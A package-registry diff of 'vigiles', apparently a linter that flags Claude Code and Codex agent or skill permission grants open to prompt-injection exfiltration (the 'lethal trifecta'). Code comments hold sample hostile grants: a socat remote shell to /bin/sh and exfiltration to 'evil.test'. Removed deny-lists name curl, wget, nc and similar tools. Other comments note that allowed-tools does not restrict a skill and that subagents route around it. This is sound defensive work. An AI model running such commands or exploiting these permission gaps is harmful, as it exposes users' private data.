vigiles 15.0.2 → 15.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/adapters/claude-code/layout.js +3 -0
- package/dist/adapters/claude-code/run-scripts.d.ts +21 -9
- package/dist/adapters/claude-code/run-scripts.js +33 -22
- package/dist/adapters/codex/driver.js +3 -1
- package/dist/adapters/codex/eval.js +5 -0
- package/dist/audit-score.js +32 -6
- package/dist/check-count.d.ts +62 -3
- package/dist/check-count.js +123 -5
- package/dist/check.d.ts +55 -0
- package/dist/check.js +91 -0
- package/dist/cli.js +456 -54
- package/dist/core/bash-effects.d.ts +41 -0
- package/dist/core/bash-effects.js +278 -0
- package/dist/core/foreign-runner.d.ts +185 -0
- package/dist/core/foreign-runner.js +228 -0
- package/dist/core/harness-driver.d.ts +18 -1
- package/dist/core/hook-program.d.ts +319 -20
- package/dist/core/hook-program.js +743 -49
- package/dist/core/layout.d.ts +13 -0
- package/dist/core/lethal-trifecta.d.ts +93 -0
- package/dist/core/lethal-trifecta.js +409 -65
- package/dist/core/markdown.d.ts +32 -0
- package/dist/core/markdown.js +36 -0
- package/dist/core/merge-conflict.d.ts +50 -0
- package/dist/core/merge-conflict.js +84 -0
- package/dist/core/test-file-ext.d.ts +80 -0
- package/dist/core/test-file-ext.js +90 -0
- package/dist/core/types.d.ts +11 -0
- package/dist/coverage-artifact.d.ts +383 -0
- package/dist/coverage-artifact.js +586 -0
- package/dist/coverage-evidence.d.ts +87 -79
- package/dist/coverage-evidence.js +212 -211
- package/dist/coverage-probe.d.ts +125 -0
- package/dist/coverage-probe.js +700 -0
- package/dist/doc-commands.d.ts +119 -0
- package/dist/doc-commands.js +158 -0
- package/dist/eval-lock.d.ts +9 -0
- package/dist/eval-lock.js +14 -2
- package/dist/eval.js +28 -0
- package/dist/fs-walk.d.ts +80 -0
- package/dist/fs-walk.js +148 -0
- package/dist/harness-assert.js +42 -3
- package/dist/harness-test.js +31 -2
- package/dist/judge.js +4 -0
- package/dist/leaderboard.d.ts +16 -1
- package/dist/leaderboard.js +19 -2
- package/dist/load-hook.js +6 -1
- package/dist/mock-model.d.ts +58 -4
- package/dist/mock-model.js +133 -5
- package/dist/observe.d.ts +1 -1
- package/dist/observe.js +44 -1
- package/dist/plugin-loader.js +52 -13
- package/dist/run-hook.d.ts +58 -0
- package/dist/run-hook.js +70 -0
- package/dist/run-script.js +75 -0
- package/dist/scaffold-test.d.ts +3 -0
- package/dist/scaffold-test.js +10 -5
- package/dist/scan-behavioral.js +4 -0
- package/dist/scan-core.d.ts +22 -0
- package/dist/scan-core.js +46 -14
- package/dist/scan-files.js +19 -2
- package/dist/scan.d.ts +22 -5
- package/dist/scan.js +67 -13
- package/dist/skill-contract.d.ts +46 -0
- package/dist/skill-contract.js +201 -0
- package/dist/skill-refs.d.ts +67 -0
- package/dist/skill-refs.js +117 -0
- package/dist/test-coverage-files.d.ts +7 -1
- package/dist/test-coverage-files.js +66 -55
- package/dist/test-coverage.d.ts +155 -19
- package/dist/test-coverage.js +430 -91
- package/dist/testing.d.ts +8 -2
- package/dist/testing.js +19 -1
- package/dist/trigger-containment.d.ts +85 -0
- package/dist/trigger-containment.js +125 -0
- package/dist/ts-runner-caps.d.ts +16 -0
- package/dist/ts-runner-caps.js +43 -0
- package/dist/unit.d.ts +2 -2
- package/dist/unit.js +2 -1
- package/hooks/eval-lock-nudge.sh +14 -6
- package/package.json +2 -2
- package/skills/test-harness/SKILL.md +68 -2
|
@@ -3,6 +3,9 @@ Object.defineProperty(exports, "__esModule", { value: true });
|
|
|
3
3
|
exports.bashGrantIsUnbounded = bashGrantIsUnbounded;
|
|
4
4
|
exports.classifyTrifectaLegs = classifyTrifectaLegs;
|
|
5
5
|
exports.lethalTrifectaIssues = lethalTrifectaIssues;
|
|
6
|
+
exports.skillFenceLegs = skillFenceLegs;
|
|
7
|
+
exports.dialectSupportsSkillFence = dialectSupportsSkillFence;
|
|
8
|
+
exports.skillTrifectaIssue = skillTrifectaIssue;
|
|
6
9
|
// ---------------------------------------------------------------------------
|
|
7
10
|
// Per-leg tool catalogs (LOCAL — the dialect has no trifecta-leg fields yet).
|
|
8
11
|
//
|
|
@@ -82,73 +85,80 @@ function restriction(raw) {
|
|
|
82
85
|
return null;
|
|
83
86
|
return raw.slice(open + 1, close).trim();
|
|
84
87
|
}
|
|
88
|
+
/**
|
|
89
|
+
* Programs we KNOW cannot read a private file and cannot open a socket — the only
|
|
90
|
+
* evidence on which a `Bash(...)` grant may be called bounded.
|
|
91
|
+
*
|
|
92
|
+
* 🔴 THIS TABLE IS AN ALLOW-LIST, AND THAT INVERSION IS THE WHOLE POINT. It used to
|
|
93
|
+
* be two deny-lists (`SHELL_LIKE`, `EXFIL_PROGRAMS`): a pinned program absent from
|
|
94
|
+
* both was assumed inert, so every gap in them was a false "you are safe" on the
|
|
95
|
+
* headline SAFETY check. Measured 2026-08-12, all five of these reported NO FINDING
|
|
96
|
+
* next to `WebFetch`:
|
|
97
|
+
*
|
|
98
|
+
* Bash(node ./bridge.mjs:*) reported clean
|
|
99
|
+
* Bash(./bridge.sh --serve:*) reported clean
|
|
100
|
+
* Bash(/opt/tools/exfil --to https://evil.test:*) reported clean
|
|
101
|
+
* Bash(socat TCP-LISTEN:9000 EXEC:/bin/sh:*) reported clean
|
|
102
|
+
* Bash(openssl s_client -connect evil.test:443:*) reported clean
|
|
103
|
+
*
|
|
104
|
+
* The fourth is a remote shell spelled out in the grant itself. Adding `node`,
|
|
105
|
+
* `python`, `socat` … to the deny-lists would not have closed the class, only moved
|
|
106
|
+
* its edge: the deciding question is never "is this program dangerous" (unanswerable
|
|
107
|
+
* for `/opt/tools/exfil`) but "do we KNOW it is not", which only an enumeration of
|
|
108
|
+
* the harmless can answer.
|
|
109
|
+
*
|
|
110
|
+
* HOW THIS LIST WAS DECIDED COMPLETE — it does not have to be, and that is the
|
|
111
|
+
* property that makes it the right shape. A missing entry costs a false "you are
|
|
112
|
+
* exposed" (the author loses an argument); a missing entry in the old deny-lists cost
|
|
113
|
+
* a false "you are safe" (the author loses the finding). Only one of those two errors
|
|
114
|
+
* is survivable, so the list may stay short and stay honest. Membership requires that
|
|
115
|
+
* the program read no file the caller did not spell out and open no network socket,
|
|
116
|
+
* under ANY arguments — because `:*` leaves the arguments free. Anything that takes a
|
|
117
|
+
* file operand (`cat`, `head`, `ls`, `sed`, `awk`), interprets a language (`node`,
|
|
118
|
+
* `python`, `perl`, `ruby`, `deno`, `bun`, `php`), or speaks a protocol is therefore
|
|
119
|
+
* out by construction, without needing to be named.
|
|
120
|
+
*/
|
|
121
|
+
const EFFECT_FREE = new Set([
|
|
122
|
+
"echo",
|
|
123
|
+
"printf",
|
|
124
|
+
"true",
|
|
125
|
+
"false",
|
|
126
|
+
":",
|
|
127
|
+
"pwd",
|
|
128
|
+
"sleep",
|
|
129
|
+
"date",
|
|
130
|
+
"uname",
|
|
131
|
+
"hostname",
|
|
132
|
+
"whoami",
|
|
133
|
+
"id",
|
|
134
|
+
"basename",
|
|
135
|
+
"dirname",
|
|
136
|
+
]);
|
|
85
137
|
/**
|
|
86
138
|
* Does a `Bash(...)` grant still supply the shell's legs — reading a secret and
|
|
87
139
|
* curling it out — or has it been narrowed to a command that cannot?
|
|
88
140
|
*
|
|
89
|
-
*
|
|
90
|
-
*
|
|
91
|
-
* plain `Bash` — the whole shell, in both leg A and leg C —
|
|
92
|
-
* advice saw
|
|
93
|
-
*
|
|
94
|
-
*
|
|
95
|
-
* commands and stayed at "17 units can read data, reach the web, and run commands".
|
|
141
|
+
* Narrowing the grant is a remedy this tool RECOMMENDS, so the reading has to be able
|
|
142
|
+
* to see a narrowed grant as narrowed: `Bash(node ./scripts/log.mjs:*)` was once read
|
|
143
|
+
* as plain `Bash` — the whole shell, in both leg A and leg C — and an author who took
|
|
144
|
+
* the advice saw the score not move. But the fix for that overshot into the opposite
|
|
145
|
+
* error, and the opposite error is the one that matters (see {@link EFFECT_FREE}), so
|
|
146
|
+
* the answer is now: a grant is bounded ONLY when it pins a program from that list.
|
|
96
147
|
*
|
|
97
|
-
*
|
|
98
|
-
*
|
|
99
|
-
*
|
|
148
|
+
* The honest consequence, stated rather than hidden: narrowing `Bash` to a script of
|
|
149
|
+
* your own (`node ./ledger.mjs`) no longer drops a leg, because nothing here has read
|
|
150
|
+
* that script. The remedy that still works is to drop a leg the checker can SEE — fence
|
|
151
|
+
* the tool off, or narrow to a command whose effects are enumerable.
|
|
100
152
|
*
|
|
101
153
|
* Bash no restriction at all
|
|
102
154
|
* Bash(*) Bash(:*) the wildcard forms
|
|
103
|
-
* Bash(node:*)
|
|
104
|
-
* Bash(sh ...) Bash(
|
|
105
|
-
* Bash(
|
|
155
|
+
* Bash(node:*) Bash(node x.mjs:*) an interpreter runs whatever it is handed
|
|
156
|
+
* Bash(sh ...) Bash(curl ...) the shell, and the pinned exfiltrator
|
|
157
|
+
* Bash(echo ready:*) bounded — and only this shape is
|
|
106
158
|
*
|
|
107
159
|
* When in doubt it returns true (keeps the legs): a false "you are exposed" costs the
|
|
108
160
|
* author an argument, a false "you are safe" costs them the finding.
|
|
109
161
|
*/
|
|
110
|
-
const SHELL_LIKE = new Set([
|
|
111
|
-
"sh",
|
|
112
|
-
"bash",
|
|
113
|
-
"zsh",
|
|
114
|
-
"dash",
|
|
115
|
-
"ksh",
|
|
116
|
-
"fish",
|
|
117
|
-
"eval",
|
|
118
|
-
"exec",
|
|
119
|
-
"env",
|
|
120
|
-
"xargs",
|
|
121
|
-
"sudo",
|
|
122
|
-
"doas",
|
|
123
|
-
"nohup",
|
|
124
|
-
"setsid",
|
|
125
|
-
"script",
|
|
126
|
-
"ssh",
|
|
127
|
-
"docker",
|
|
128
|
-
"podman",
|
|
129
|
-
"make",
|
|
130
|
-
]);
|
|
131
|
-
const EXFIL_PROGRAMS = new Set([
|
|
132
|
-
"curl",
|
|
133
|
-
"wget",
|
|
134
|
-
"scp",
|
|
135
|
-
"sftp",
|
|
136
|
-
"rsync",
|
|
137
|
-
"nc",
|
|
138
|
-
"ncat",
|
|
139
|
-
"netcat",
|
|
140
|
-
"telnet",
|
|
141
|
-
"ftp",
|
|
142
|
-
"git",
|
|
143
|
-
"gh",
|
|
144
|
-
"aws",
|
|
145
|
-
"gcloud",
|
|
146
|
-
"az",
|
|
147
|
-
"kubectl",
|
|
148
|
-
"npm",
|
|
149
|
-
"npx",
|
|
150
|
-
"pip",
|
|
151
|
-
]);
|
|
152
162
|
function bashGrantIsUnbounded(raw) {
|
|
153
163
|
const r = restriction(raw);
|
|
154
164
|
if (r === null)
|
|
@@ -156,15 +166,11 @@ function bashGrantIsUnbounded(raw) {
|
|
|
156
166
|
const pattern = r.replace(/^["']|["']$/g, "").trim();
|
|
157
167
|
if (pattern === "" || pattern === "*" || pattern === ":*")
|
|
158
168
|
return true;
|
|
159
|
-
// `Bash(
|
|
160
|
-
//
|
|
161
|
-
const
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
const program = (words[0].split("/").pop() ?? words[0]).toLowerCase();
|
|
165
|
-
if (SHELL_LIKE.has(program) || EXFIL_PROGRAMS.has(program))
|
|
166
|
-
return true;
|
|
167
|
-
return false;
|
|
169
|
+
// `Bash(echo hi:*)` — the trailing `:*` is Claude Code's prefix marker, not part of
|
|
170
|
+
// the program name. Strip it before reading the head word.
|
|
171
|
+
const head = pattern.replace(/:\*$/, "").trim().split(/\s+/)[0] ?? "";
|
|
172
|
+
const program = (head.split("/").pop() ?? head).toLowerCase();
|
|
173
|
+
return !EFFECT_FREE.has(program);
|
|
168
174
|
}
|
|
169
175
|
/** Returns true for the wildcard sentinels that mean "inherits-all". */
|
|
170
176
|
function isWildcard(tool) {
|
|
@@ -245,6 +251,92 @@ function classifyTrifectaLegs(tools, dialect) {
|
|
|
245
251
|
}
|
|
246
252
|
return { private: [...priv], untrusted: [...untrusted], exfil: [...exfil] };
|
|
247
253
|
}
|
|
254
|
+
// ---------------------------------------------------------------------------
|
|
255
|
+
// The remedy sentence — split by CAUSE, because one sentence for every unit is a
|
|
256
|
+
// finding nobody can act on
|
|
257
|
+
//
|
|
258
|
+
// 🔴 MEASURED. After `allowed-tools:` stopped being read as a bound, a real
|
|
259
|
+
// 38-skill repo went from 18 of 38 exposed units to 38 of 38 and Safety 86 → 70.
|
|
260
|
+
// The classification is right and stays; what broke is the READING. A check that
|
|
261
|
+
// fires on every unit carries no information unless it says why THIS unit fired,
|
|
262
|
+
// and the sentence it carried — "Drop at least one leg (Meta's Rule of Two)" —
|
|
263
|
+
// was identical for three situations that need three different actions:
|
|
264
|
+
//
|
|
265
|
+
// Read, WebFetch, Bash nothing was attempted
|
|
266
|
+
// Read, WebFetch, Bash(node ./x.mjs:*) an attempt was made and did not count
|
|
267
|
+
// Read, WebFetch the shell is not involved at all
|
|
268
|
+
//
|
|
269
|
+
// ⚠️ AND THE ADVICE ITSELF HAS GONE STALE. "Narrow your `Bash(...)`" used to be
|
|
270
|
+
// the headline remedy; a grant now counts as bounded ONLY when it pins a program
|
|
271
|
+
// from `EFFECT_FREE`, which is fourteen entries long and will stay that way by
|
|
272
|
+
// design (see its header: the list may be short precisely because a miss costs a
|
|
273
|
+
// false "you are exposed", never a false "you are safe"). So narrowing to
|
|
274
|
+
// anything an author actually runs — their own script, `node`, `jq`, `git` —
|
|
275
|
+
// does not drop the leg and never will. Printing the old advice sends the author
|
|
276
|
+
// to do work that cannot move the finding, which is how a Safety number gets a
|
|
277
|
+
// reputation for being fake. The middle case is the worst of the three: the
|
|
278
|
+
// author already did it, and the unchanged message tells them nothing.
|
|
279
|
+
//
|
|
280
|
+
// Text only. Which units are found, and how they are graded, is untouched.
|
|
281
|
+
// ---------------------------------------------------------------------------
|
|
282
|
+
/**
|
|
283
|
+
* The shell grants in this contract that ASKED FOR LESS THAN THE WHOLE SHELL and
|
|
284
|
+
* still supply both legs — `Bash(node ./x.mjs:*)`, not bare `Bash`.
|
|
285
|
+
*
|
|
286
|
+
* These are the surprising ones, and the only ones whose author has already tried
|
|
287
|
+
* the remedy. A grant with no restriction at all, and one that pins an
|
|
288
|
+
* {@link EFFECT_FREE} program (which supplies no leg and cannot reach here), are
|
|
289
|
+
* both excluded.
|
|
290
|
+
*/
|
|
291
|
+
function opaqueShellGrants(tools) {
|
|
292
|
+
return tools.filter((raw) => LEG_BASH_DUAL.has(baseTool(raw)) &&
|
|
293
|
+
bashGrantIsUnbounded(raw) &&
|
|
294
|
+
restriction(raw) !== null);
|
|
295
|
+
}
|
|
296
|
+
/**
|
|
297
|
+
* The remedy for a `"hard"` (explicit-contract) trifecta, chosen by WHY this
|
|
298
|
+
* unit still holds all three legs. See the block above for the measurement.
|
|
299
|
+
*/
|
|
300
|
+
function hardTrifectaRemedy(tools, dialect) {
|
|
301
|
+
const shell = dialect.builtinAgentTools.find((t) => LEG_BASH_DUAL.has(t));
|
|
302
|
+
const opaque = opaqueShellGrants(tools);
|
|
303
|
+
// (b) A RESTRICTED shell grant that still counts. The author narrowed and the
|
|
304
|
+
// finding did not move; say why, and do not re-recommend narrowing.
|
|
305
|
+
if (opaque.length > 0) {
|
|
306
|
+
return (`\`${opaque.join("`, `")}\` is narrowed but still counts: a restricted shell grant ` +
|
|
307
|
+
"drops the read+exfiltrate legs ONLY when it pins a program whose effects are " +
|
|
308
|
+
`enumerable (${[...EFFECT_FREE].slice(0, 4).join(", ")}, … — ${String(EFFECT_FREE.size)} in all). ` +
|
|
309
|
+
"Nothing here has read the script or binary you pinned, and an interpreter runs " +
|
|
310
|
+
"whatever it is handed, so narrowing further will not move this finding. What does: " +
|
|
311
|
+
`remove ${shell ?? "the shell"} from the contract, or drop the read or the ` +
|
|
312
|
+
"untrusted-intake leg instead (Meta's Rule of Two: allow at most two).");
|
|
313
|
+
}
|
|
314
|
+
// (a) An UNRESTRICTED shell grant — the shell supplies two of the three legs on
|
|
315
|
+
// its own, so it is the single highest-value tool to remove.
|
|
316
|
+
//
|
|
317
|
+
// 🔴 The test is "does the shell actually supply a leg", NOT "is a shell named".
|
|
318
|
+
// `Bash(echo ready:*)` is named and bounded: it contributes nothing, the trifecta
|
|
319
|
+
// is carried entirely by the other tools, and telling that author to remove Bash
|
|
320
|
+
// would send them to undo the one narrowing that worked. Caught by running the
|
|
321
|
+
// branch over a real contract rather than reasoning about it.
|
|
322
|
+
const unboundedShell = tools.some((t) => LEG_BASH_DUAL.has(baseTool(t)) && bashGrantIsUnbounded(t));
|
|
323
|
+
if (shell !== undefined && unboundedShell) {
|
|
324
|
+
return (`${shell} alone supplies two of the three legs (it reads private files AND ships them out), ` +
|
|
325
|
+
`so removing ${shell} from the contract closes the path in one edit. ` +
|
|
326
|
+
"Restricting it instead — `" +
|
|
327
|
+
`${shell}(<program>:*)` +
|
|
328
|
+
"` — only helps for a program whose effects are enumerable " +
|
|
329
|
+
`(${[...EFFECT_FREE].slice(0, 4).join(", ")}, … — ${String(EFFECT_FREE.size)} in all); ` +
|
|
330
|
+
"your own script or an interpreter does not qualify. Otherwise drop the read or the " +
|
|
331
|
+
"untrusted-intake leg (Meta's Rule of Two: allow at most two).");
|
|
332
|
+
}
|
|
333
|
+
// (c) NO shell involved: the three legs are carried by named tools, so the only
|
|
334
|
+
// remedy is removing one of them — there is no grant to narrow here at all.
|
|
335
|
+
return ("No shell grant supplies a leg here, so there is nothing to narrow — the three legs " +
|
|
336
|
+
"are carried by the named tools above (and any shell grant in this contract is " +
|
|
337
|
+
"already bounded). Remove one of those tools; the untrusted-intake leg is usually " +
|
|
338
|
+
"the cheapest to give up (Meta's Rule of Two: allow at most two).");
|
|
339
|
+
}
|
|
248
340
|
/**
|
|
249
341
|
* Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
|
|
250
342
|
* `null` (≤ 2 legs = safe by the Rule of Two).
|
|
@@ -300,7 +392,7 @@ function lethalTrifectaIssues(tools, dialect, ctx = {}) {
|
|
|
300
392
|
`(${legs.private.join(", ")}), ingest untrusted content ` +
|
|
301
393
|
`(${legs.untrusted.join(", ")}), AND exfiltrate ` +
|
|
302
394
|
`(${legs.exfil.join(", ")}) — a prompt-injection exfil path with no exploit code. ` +
|
|
303
|
-
|
|
395
|
+
hardTrifectaRemedy(tools, dialect) +
|
|
304
396
|
(ctx.contractUnreadable
|
|
305
397
|
? " (Those tool names were SALVAGED: the frontmatter is not valid YAML, so a strict" +
|
|
306
398
|
" loader reads no contract here at all and the real grant may be wider still." +
|
|
@@ -318,4 +410,256 @@ function lethalTrifectaIssues(tools, dialect, ctx = {}) {
|
|
|
318
410
|
}
|
|
319
411
|
return null;
|
|
320
412
|
}
|
|
413
|
+
// ---------------------------------------------------------------------------
|
|
414
|
+
// SKILLS — a different mechanism, and the one this file used to read wrong
|
|
415
|
+
// ---------------------------------------------------------------------------
|
|
416
|
+
//
|
|
417
|
+
// 🔴 THE MEASUREMENT (2026-08-11). A skill's `allowed-tools:` is a PRE-APPROVAL,
|
|
418
|
+
// not a restriction. Claude Code's own docs, §"Pre-approve tools for a skill":
|
|
419
|
+
//
|
|
420
|
+
// "The `allowed-tools` field grants permission for the listed tools during the
|
|
421
|
+
// turn that invokes the skill… It does not restrict which tools are available:
|
|
422
|
+
// every tool remains callable, and your permission settings still govern tools
|
|
423
|
+
// that are not listed. … To remove tools from Claude's available pool while a
|
|
424
|
+
// skill is active, list them in `disallowed-tools` in the skill's frontmatter."
|
|
425
|
+
//
|
|
426
|
+
// Confirmed twice from outside this repo: anthropics/claude-code#18837 (Jan 2026)
|
|
427
|
+
// and #37683 (Mar 2026), both closed as not-planned; #37683 reproduces it in
|
|
428
|
+
// INTERACTIVE mode on a live model, so it is not a headless artifact. Reproduced
|
|
429
|
+
// here under `claude -p` (CLI 2.1.227): a skill declaring `WebSearch, WebFetch`
|
|
430
|
+
// read a private file and wrote a new one.
|
|
431
|
+
//
|
|
432
|
+
// `disallowed-tools` WAS then measured, 9 runs, and it DOES restrict. The cleanest
|
|
433
|
+
// control is a single run in which `Read` succeeds BEFORE the skill activates and
|
|
434
|
+
// is denied after it:
|
|
435
|
+
//
|
|
436
|
+
// "Permission to use Read has been denied."
|
|
437
|
+
//
|
|
438
|
+
// and, through a `Task` subagent in the same run — the route-around that defeats
|
|
439
|
+
// `allowed-tools` in #37683 —
|
|
440
|
+
//
|
|
441
|
+
// "Error: No such tool available: Read. Read is disabled for this session, in
|
|
442
|
+
// subagents as well as here."
|
|
443
|
+
//
|
|
444
|
+
// WHAT THAT MEANS FOR THIS CHECK. Reading `allowed-tools` as a bound made the
|
|
445
|
+
// finding UNDERSTATE risk (it reported 18 of 38 units exposed on a corpus where
|
|
446
|
+
// all 38 were) and, worse, CREDITED a narrow `allowed-tools` with a reduction it
|
|
447
|
+
// does not produce — the tool's own "a declaration present is not a rule enforced"
|
|
448
|
+
// thesis, violated by the tool. So the skill path reads `disallowed-tools` and
|
|
449
|
+
// ignores `allowed-tools` entirely.
|
|
450
|
+
//
|
|
451
|
+
// WHY THE SHAPE CHANGED TOO, not just the arithmetic. The naive correction — count
|
|
452
|
+
// every unfenced skill as a per-unit finding — fires on ~100% of every real
|
|
453
|
+
// harness, and a check that fires on the default state of the ecosystem gets muted
|
|
454
|
+
// within a day, taking the true findings with it. So the two states are presented
|
|
455
|
+
// differently, while being GRADED IDENTICALLY (they are the same capability; see
|
|
456
|
+
// `trifectaExposure`):
|
|
457
|
+
//
|
|
458
|
+
// - `fence: "none"` — the default. One AGGREGATE line for the whole surface
|
|
459
|
+
// ("N of M skills declare no tool fence") plus the skill names as detail. It
|
|
460
|
+
// is one fact about the harness, not N facts about N skills, and stating it
|
|
461
|
+
// once is what a reader can act on.
|
|
462
|
+
// - `fence: "ineffective"` — a `disallowed-tools:` that closes no leg. Rare,
|
|
463
|
+
// per-skill, and a genuine mistake (the author believed they had fenced), so
|
|
464
|
+
// it keeps its own line — the same shape as `disallowed-tools-contract`'s
|
|
465
|
+
// "this entry blocks nothing".
|
|
466
|
+
//
|
|
467
|
+
// Presentation differs; severity does NOT. Both are `"advisory"` and both count
|
|
468
|
+
// once toward `trifectaExposure`. Making the ineffective-fence case LOUDER would
|
|
469
|
+
// repeat the exact non-monotonicity this file was already fixed for once: an
|
|
470
|
+
// ineffective fence has capability ≤ no fence, so it must never grade worse.
|
|
471
|
+
/**
|
|
472
|
+
* Built-in tools that supply each leg, for the DENY direction — a leg is closed
|
|
473
|
+
* only when EVERY name here is denied.
|
|
474
|
+
*
|
|
475
|
+
* 🔴 This is deliberately a SUPERSET of the allow-direction catalogs above, and the
|
|
476
|
+
* asymmetry is the point. In the allow direction an unlisted tool maps to no leg,
|
|
477
|
+
* which UNDERSTATES risk — high precision, don't cry wolf. In the deny direction the
|
|
478
|
+
* same omission would OVERSTATE safety: a leg would read as closed because we forgot
|
|
479
|
+
* to require one of its suppliers. So `Grep`/`Glob` join `Read` under private-data
|
|
480
|
+
* read (a grep of `.env` returns its contents), `WebSearch` joins `WebFetch` under
|
|
481
|
+
* exfiltration (a query string leaves the machine), and the shell is in all three —
|
|
482
|
+
* `curl` fetches attacker content in, `cat` reads the secret, `curl --data` ships it.
|
|
483
|
+
*
|
|
484
|
+
* STATED LIMIT, also in docs/rules/lethal-trifecta.md: this covers the harness's own
|
|
485
|
+
* built-ins. An MCP server the SESSION provides can re-supply a leg the fence closed,
|
|
486
|
+
* and no static read of a SKILL.md can see the session's MCP config. A closed leg
|
|
487
|
+
* therefore means "closed among the built-ins", which is what the author can actually
|
|
488
|
+
* control from frontmatter — not a proof of absence.
|
|
489
|
+
*/
|
|
490
|
+
const FENCE_SUPPLIERS = {
|
|
491
|
+
private: ["Read", "Grep", "Glob", ...LEG_BASH_DUAL],
|
|
492
|
+
untrusted: ["WebFetch", "WebSearch", ...LEG_BASH_DUAL],
|
|
493
|
+
exfil: ["WebFetch", "WebSearch", ...LEG_BASH_DUAL],
|
|
494
|
+
};
|
|
495
|
+
/**
|
|
496
|
+
* The suppliers of a leg that THIS harness actually ships, so the remedy names
|
|
497
|
+
* tools the author can really deny. `FENCE_SUPPLIERS` carries every dialect's
|
|
498
|
+
* shell name (`Bash` and Codex's `shell`); telling a Claude Code author to deny
|
|
499
|
+
* `shell` would be cry-wolf, and would make the leg unclosable in practice.
|
|
500
|
+
*
|
|
501
|
+
* Fallback when the dialect recognizes NONE of them: keep the unfiltered list. An
|
|
502
|
+
* unrecognized harness must not silently clear the check by having a catalog we
|
|
503
|
+
* can't match — the safe failure is "still open", not "closed".
|
|
504
|
+
*/
|
|
505
|
+
function fenceSuppliers(leg, dialect) {
|
|
506
|
+
const catalog = new Set(dialect.builtinAgentTools);
|
|
507
|
+
const known = FENCE_SUPPLIERS[leg].filter((t) => catalog.has(t));
|
|
508
|
+
return known.length > 0 ? known : FENCE_SUPPLIERS[leg];
|
|
509
|
+
}
|
|
510
|
+
/** The legs a `disallowed-tools:` list leaves standing, naming the suppliers. */
|
|
511
|
+
function skillFenceLegs(disallowed, dialect) {
|
|
512
|
+
// Only an UNRESTRICTED deny removes a tool: `disallowed-tools: Bash(curl:*)`
|
|
513
|
+
// denies that pattern and leaves the rest of the shell. Conservative by design,
|
|
514
|
+
// and the mirror of `bashGrantIsUnbounded` on the allow side.
|
|
515
|
+
const denied = new Set(disallowed
|
|
516
|
+
.filter((raw) => restriction(raw) === null)
|
|
517
|
+
.map((raw) => baseTool(raw)));
|
|
518
|
+
const remaining = (leg) => fenceSuppliers(leg, dialect).filter((t) => !denied.has(t));
|
|
519
|
+
return {
|
|
520
|
+
private: remaining("private"),
|
|
521
|
+
untrusted: remaining("untrusted"),
|
|
522
|
+
exfil: remaining("exfil"),
|
|
523
|
+
};
|
|
524
|
+
}
|
|
525
|
+
/** The one-line remedy, quoted in every skill finding so it is never just a diagnosis. */
|
|
526
|
+
function fenceFix(dialect) {
|
|
527
|
+
const list = (leg) => fenceSuppliers(leg, dialect).join(", ");
|
|
528
|
+
return ("Fix in one line: add a `disallowed-tools:` line naming every built-in that " +
|
|
529
|
+
`supplies a leg the skill does not need — private-data read = ${list("private")}; ` +
|
|
530
|
+
`untrusted intake = ${list("untrusted")}; exfiltration = ${list("exfil")}. ` +
|
|
531
|
+
"Measured: `disallowed-tools` removes the tool from the pool while the skill " +
|
|
532
|
+
"is active, in subagents too.");
|
|
533
|
+
}
|
|
534
|
+
const PREAPPROVAL_NOTE = "`allowed-tools:` does NOT fence a skill — it PRE-APPROVES the tools it lists " +
|
|
535
|
+
'("It does not restrict which tools are available: every tool remains callable" ' +
|
|
536
|
+
"— Claude Code docs), so however narrow it is, the skill still holds every leg.";
|
|
537
|
+
/**
|
|
538
|
+
* Whether THIS harness understands a skill-level `disallowed-tools:` at all.
|
|
539
|
+
*
|
|
540
|
+
* Read off the dialect record that already exists — `skillFrontmatter` is exactly
|
|
541
|
+
* "which SKILL.md keys this harness understands", and `disallowed-tools` is one of
|
|
542
|
+
* the Claude-Code-only ones. No new capability flag: a second field saying the
|
|
543
|
+
* same thing is a second thing to keep true, and the compiler already branches on
|
|
544
|
+
* this one (`renderSkillFrontmatter` emits the tool keys under `"claude-code"` and
|
|
545
|
+
* omits them under `"minimal"`).
|
|
546
|
+
*/
|
|
547
|
+
function dialectSupportsSkillFence(dialect) {
|
|
548
|
+
return dialect.skillFrontmatter === "claude-code";
|
|
549
|
+
}
|
|
550
|
+
/**
|
|
551
|
+
* The lethal-trifecta finding for a MODEL-INVOCABLE SKILL, computed from its
|
|
552
|
+
* `disallowed-tools:` — the only skill frontmatter field measured to remove a
|
|
553
|
+
* tool. `allowed-tools:` is not an input here, on purpose: it is a pre-approval,
|
|
554
|
+
* and treating it as a bound is the defect this function exists to correct (see
|
|
555
|
+
* the block comment above for the measurement).
|
|
556
|
+
*
|
|
557
|
+
* 🔴 AND IT IS A CLAUDE-CODE MECHANISM, which this applied to every harness. On a
|
|
558
|
+
* Codex repo (`skillFrontmatter: "minimal"` — name + description only, and our own
|
|
559
|
+
* compiler drops the tool keys there) every skill was reported as holding all
|
|
560
|
+
* three legs, scored against Safety, and handed the remedy "add a
|
|
561
|
+
* `disallowed-tools:` line". That line is INERT in Codex: the author does the
|
|
562
|
+
* work, the harness ignores the key, the finding returns, and the score never
|
|
563
|
+
* moves. A remedy the target cannot apply is worse than no finding — it is a floor
|
|
564
|
+
* dressed up as a defect, and it teaches people that the Safety number is fake.
|
|
565
|
+
*
|
|
566
|
+
* So the detector runs only where the fence exists ({@link dialectSupportsSkillFence}).
|
|
567
|
+
* This is a claim about the MECHANISM, not about the risk: a Codex skill really
|
|
568
|
+
* does hold every leg, and bounding it is a session/config-level question that
|
|
569
|
+
* belongs to a Codex-specific detector, not to a Claude Code one applied by
|
|
570
|
+
* default. Subagent findings are unaffected — `tools:` is a different mechanism,
|
|
571
|
+
* with its own dialect handling.
|
|
572
|
+
*
|
|
573
|
+
* @param disallowed `disallowed-tools:` as declared, or `null` when the line is
|
|
574
|
+
* absent — the two are NOT the same: an explicit empty list still denies nothing,
|
|
575
|
+
* but the message should not tell an author who wrote the line that they didn't.
|
|
576
|
+
* @returns `null` once the fence closes at least one leg (Rule of Two satisfied,
|
|
577
|
+
* among the built-ins — see {@link FENCE_SUPPLIERS} for the stated limit), and
|
|
578
|
+
* `null` for any harness with no skill fence to close it with.
|
|
579
|
+
*/
|
|
580
|
+
function skillTrifectaIssue(disallowed, dialect, ctx = {}) {
|
|
581
|
+
if (!dialectSupportsSkillFence(dialect))
|
|
582
|
+
return null;
|
|
583
|
+
// An unreadable block is not a fence: a strict loader reads no frontmatter at
|
|
584
|
+
